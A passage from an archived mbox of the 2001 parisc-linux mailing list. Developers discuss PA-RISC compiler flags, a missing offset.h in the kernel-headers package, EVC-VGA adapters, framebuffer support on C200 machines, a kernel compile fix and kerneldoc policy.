Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13196

Are there any optimal CFLAGS this group recomends when compiling
binaries for PA-Risc linux that are supposed to work in most places ?

I've seen -mpa-risc-1-0 used a bit, but is that wise ? 1.1 must be
better ?    Or is it best to not use any extra cflags what so ever ?

-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.



From - Thu Nov 08 21:20:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: hppa kernel-headers.deb and offset.h
Date: 20 Nov 2001 01:20:26 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <874rnpg8fp.fsf@rover.gag.com>
References: <20011119210811.E11431@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620799 30741 80.91.229.3 (22 Nov 2014 01:46:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 10:38:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rover.gag.com (rover.gag.com [192.133.104.32])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9845482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 10:38:08 -0700 (MST)
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 9025E3C687; Tue, 20 Nov 2001 01:20:26 -0700 (MST)
In-Reply-To: <20011119210811.E11431@linuxcare.com>
Original-Lines: 22
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13197

Richard Hirst <rhirst@linuxcare.com> writes:

> Our kernel-headers debs are missing asm/offset.h, which is created
> late on in a kernel build.

Ewww.

> Maybe the kernel should build offset.h as part of make dep, or something.

Yes.  Building the file during make dep, and *not* removing it during make
clean (remove it during distclean, leave it present during clean) would fix
the problem.

> glibc build should use kernel-headers, but I guess libc6-dev_2.2.4-6
> was built using some local kernel tree for the headers, and has picked
> up a 64 bit offset.h.  so, anyone trying to build gdb will have to
> replace their offset.h.

So, we've never had a real kernel-headers package before.  I guess once we get
one that's right, we should re-spin glibc even if it's a binNMU.

Bdale



From - Thu Nov 08 21:20:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa kernel-headers.deb and offset.h
Date: Thu, 22 Nov 2001 17:42:23 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20011122174223.D10023@parcelfarce.linux.theplanet.co.uk>
References: <20011119210811.E11431@linuxcare.com> <874rnpg8fp.fsf@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620799 30745 80.91.229.3 (22 Nov 2014 01:46:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:39 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org
To: Bdale Garbee <bdale@gag.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 10:42:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9C99B482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 10:42:25 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 166xrj-0003nU-00; Thu, 22 Nov 2001 17:42:23 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <874rnpg8fp.fsf@rover.gag.com>; from bdale@gag.com on Tue, Nov 20, 2001 at 01:20:26AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13198

On Tue, Nov 20, 2001 at 01:20:26AM -0700, Bdale Garbee wrote:
> > glibc build should use kernel-headers, but I guess libc6-dev_2.2.4-6
> > was built using some local kernel tree for the headers, and has picked
> > up a 64 bit offset.h.  so, anyone trying to build gdb will have to
> > replace their offset.h.
> 
> So, we've never had a real kernel-headers package before.  I guess once we get
> one that's right, we should re-spin glibc even if it's a binNMU.

*sigh*.  whenever i built glibc, i ensured it was built with 32-bit kernel
headers.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Grabert <xam@student.cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Need EVC-VGA adapter
Date: Thu, 22 Nov 2001 18:13:51 +0000 (GMT)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.OSF.4.41.0111221753170.20159-100000@student.cs.ucc.ie>
References: <1006449254.5420.0.camel@cube>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620800 30747 80.91.229.3 (22 Nov 2014 01:46:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: andi <andi@fischlustig.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 11:13:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from student.cs.ucc.ie (student.cs.ucc.ie [143.239.211.125])
	by dsl2.external.hp.com (Postfix) with ESMTP id 127B8482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 11:13:33 -0700 (MST)
Original-Received: from localhost (xam@localhost)
	by student.cs.ucc.ie (8.9.3/8.9.3) with ESMTP id SAA18222;
	Thu, 22 Nov 2001 18:13:51 GMT
In-Reply-To: <1006449254.5420.0.camel@cube>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13199

On 22 Nov 2001, andi wrote:

> > I recently purchased a C240.
> >
> > Unfortunately no EVC-VGA adapter was in the package.
> > I thought it is quite easy to get these (since EVC is
> > the new VESA standard), but I just found a few Internet
> > companies who sell them. The adapter itself is rather expensive,
> > usually about 50 EURO.
>
> I have excactly the same problem, but I am living in germany. any chance
> here?

try www.kindermann.de,
they're offering conference utilities such as video projectors etc.
Since some new projectors use a EVC interface, they used to sell
an adapter cable (I didn't find it on their website anymore).

Try searching for EVCM-15HDF (that's the name of the EVC-VGA adapter);
I found at least an US seller (http://www.networktechinc.com/cgi-bin/keemux/adapters.html)
who sells it for $46 (US & Canada only)

There is also a seller in the UK (http://www.nti1.co.uk/cable-usb.html or
http://www.itm-components.com/cable.htm (same company)), who sells it for
35 UK Pound, but there is a minimum shipping cost of 40 UK Pounds!
The seller said that he's happy to send it by mail (so that you can avoid
the high shipping costs), however you'll take the risk then.

greetings max




From - Thu Nov 08 21:20:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] My C200 situation
Date: Thu, 22 Nov 2001 22:07:10 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20011122220710.B2342@solo.franken.de>
References: <200111220447.VAA03217@puffin.external.hp.com> <Pine.OSF.4.41.0111221214040.29126-100000@student.cs.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620800 30752 80.91.229.3 (22 Nov 2014 01:46:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:40 +0000 (UTC)
Cc: Grant Grundler <grundler@puffin.external.hp.com>,
	Herb Radford <herbr@magma.ca>, parisc-linux@lists.parisc-linux.org
To: Markus Grabert <xam@student.cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 14:28:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (pD951C6B0.dip.t-dialin.net [217.81.198.176])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE1F1482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 14:28:09 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id fAML7AZ02965;
	Thu, 22 Nov 2001 22:07:10 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.OSF.4.41.0111221214040.29126-100000@student.cs.ucc.ie>; from xam@student.cs.ucc.ie on Thu, Nov 22, 2001 at 12:26:07PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13200

On Thu, Nov 22, 2001 at 12:26:07PM +0000, Markus Grabert wrote:
> Does anybody know whether stifb and/or XFree is working on a RavenU+
> (C200/C240) with a VISUALIZE FX graphics card ?

it doesn't. Only sticon works, but that's not enough to get X working.
I'm waiting for documentation, which tells me at least how to enable
the framebuffer and how to setup colormaps.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:20:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] devfs in latest cvs kernel
Date: Fri, 23 Nov 2001 00:12:54 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20011122231350.E4513482C@dsl2.external.hp.com>
References: <002901c1735c$124c4ba0$56dc10c3@amos>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620800 30755 80.91.229.3 (22 Nov 2014 01:46:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:40 +0000 (UTC)
To: "Kaj-Michael Lang" <milang@tal.org>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 16:13:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id E4513482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 16:13:50 -0700 (MST)
Original-Received: (qmail 23242 invoked by uid 0); 22 Nov 2001 23:13:49 -0000
Original-Received: from pd9e084ed.dip.t-dialin.net (HELO P100.helgenet.de) (217.224.132.237)
  by mail.gmx.net (mp004-rz3) with SMTP; 22 Nov 2001 23:13:49 -0000
X-Mailer: KMail [version 1.3.6]
In-Reply-To: <002901c1735c$124c4ba0$56dc10c3@amos>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13201

On Thursday 22 November 2001 14:46, Kaj-Michael Lang wrote:
> Won't compile. Complains about __set_bit

fixed in 2.4.14-pa9, please report back if you find bugs

Helge




From - Thu Nov 08 21:20:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] working .config for C160/2.4.14 ?
Date: Fri, 23 Nov 2001 00:02:05 +0000
Lines: 38
Approved: news@gmane.org
Message-ID: <20011123000205.S13057@linuxcare.com>
References: <Pine.LNX.4.40.0111221532510.21081-100000@r6.petescaff.com> <Pine.LNX.4.40.0111221540150.21081-100000@r6.petescaff.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620801 30758 80.91.229.3 (22 Nov 2014 01:46:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Peter Mottram <peter@petescaff.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 17:00:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 975D4482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 17:00:27 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 7545AB00D; Fri, 23 Nov 2001 00:02:05 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.40.0111221540150.21081-100000@r6.petescaff.com>; from peter@petescaff.com on Thu, Nov 22, 2001 at 03:41:55PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13202

On Thu, Nov 22, 2001 at 03:41:55PM +0100, Peter Mottram wrote:
> Before anyone asks how I am getting so far ahead of Linus & AC the version
> below should of course be 2.2.14-pa*.

Or even 2.4.14-pa* ;-)

arch/parisc/debian-configs/32

Richard


> On Thu, 22 Nov 2001, Peter Mottram wrote:
> 
> > I am trying to build a bootable kernel for my C160 & am having a few
> > problems. The box is currently running a kernel I tweaked for my 712/80i
> > but it is rather old & I am suffering from SCSI problems.
> >
> > Does anyone have a usable .config they could mail me for this box for
> > 2.4.16-pa* ?
> >
> > TIA
> > PeteM
> >
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:20:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] working .config for C160/2.4.14 ?
Date: Thu, 22 Nov 2001 19:03:47 -0600
Lines: 49
Approved: news@gmane.org
Message-ID: <01112219034700.01388@Wolf-01>
References: <Pine.LNX.4.40.0111221532510.21081-100000@r6.petescaff.com> <Pine.LNX.4.40.0111221540150.21081-100000@r6.petescaff.com> <20011123000205.S13057@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620801 30761 80.91.229.3 (22 Nov 2014 01:46:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 18:07:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from vopserver.pflashcom (unknown [207.19.136.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id BEF7A482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 18:07:11 -0700 (MST)
Original-Received: from Wolf-01 (ppp154.cc1.pflash.com [63.121.24.156]) by vopserver.pflashcom
 (Vircom SMTPRS 5.0.194) with SMTP id <B0008295266@vopserver.pflashcom> for <parisc-linux@lists.parisc-linux.org>;
 Thu, 22 Nov 2001 19:01:57 -0600
X-Mailer: KMail [version 1.2]
In-Reply-To: <20011123000205.S13057@linuxcare.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13203

It is a general problem when trying to use a bunch of Arabic numerals.
Perhaps...

II.IV.XIV-pa*

Would be less confusing.

Mike

On Thursday 22 November 2001 06:02 pm, Richard Hirst wrote:
> On Thu, Nov 22, 2001 at 03:41:55PM +0100, Peter Mottram wrote:
> > Before anyone asks how I am getting so far ahead of Linus & AC the
> > version below should of course be 2.2.14-pa*.
>
> Or even 2.4.14-pa* ;-)
>
> arch/parisc/debian-configs/32
>
> Richard
>
> > On Thu, 22 Nov 2001, Peter Mottram wrote:
> > > I am trying to build a bootable kernel for my C160 & am having a few
> > > problems. The box is currently running a kernel I tweaked for my
> > > 712/80i but it is rather old & I am suffering from SCSI problems.
> > >
> > > Does anyone have a usable .config they could mail me for this box for
> > > 2.4.16-pa* ?
> > >
> > > TIA
> > > PeteM
> > >
> > >
> > > _______________________________________________
> > > parisc-linux mailing list
> > > parisc-linux@lists.parisc-linux.org
> > > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:20:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kerneldoc
Date: Fri, 23 Nov 2001 02:23:19 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20011123022319.A10310@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620801 30769 80.91.229.3 (22 Nov 2014 01:46:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:41 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 19:23:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48151482C
	for <parisc-linux@parisc-linux.org>; Thu, 22 Nov 2001 19:23:21 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 1675zr-0002t5-00
	for parisc-linux@parisc-linux.org; Fri, 23 Nov 2001 02:23:19 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13204

i've had to explain this at least twice individually to people now,
so here goes for everyone:

No adding kerneldoc to PA implementations of functions which are used
in the generic kernel.

Kerneldoc is intended to document the kernel.  The only chance we
have of keeping it up to date is by putting it next to the code it is
intended to document.  Then when people change the meaning or usage
of a function, they will hopefully change the documentation of it too.
Like it or not, x86 is the dominant architecture and changes are generally
made there first.  So this is the _only_ architecture which should have
documentation in the asm directory unless the function being documented
is arch-specific.  Otherwise we get out of date documentation, which is
worse than useless.

Note also that kerneldoc should be used to document _what_ a
function does, not _how_ it works.  How it works should be obvious
(see Documentation/CodingStyle if you are confused on this point), and
comments on `tricks' employed should be restricted to ordinary comments.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bernd Eckenfels <lists@lina.inka.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/50 does not find image on cd
Date: Sat, 24 Nov 2001 16:07:48 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20011124160748.B18913@lina.inka.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620801 30779 80.91.229.3 (22 Nov 2014 01:46:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 24 08:07:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.inka.de (quechua.inka.de [212.227.14.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 097AB482C
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Nov 2001 08:07:51 -0700 (MST)
Original-Received: from calista.inka.de (lina.inka.de [212.227.16.17])
	by mail.inka.de with esmtp 
	id 167ePF-00018m-00; Sat, 24 Nov 2001 16:07:49 +0100
Original-Received: from ecki by calista.inka.de with local (Exim 3.33 #1 (Debian))
	id 167ePE-0004xa-00; Sat, 24 Nov 2001 16:07:48 +0100
Content-Disposition: inline
User-Agent: Mutt/1.3.23i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
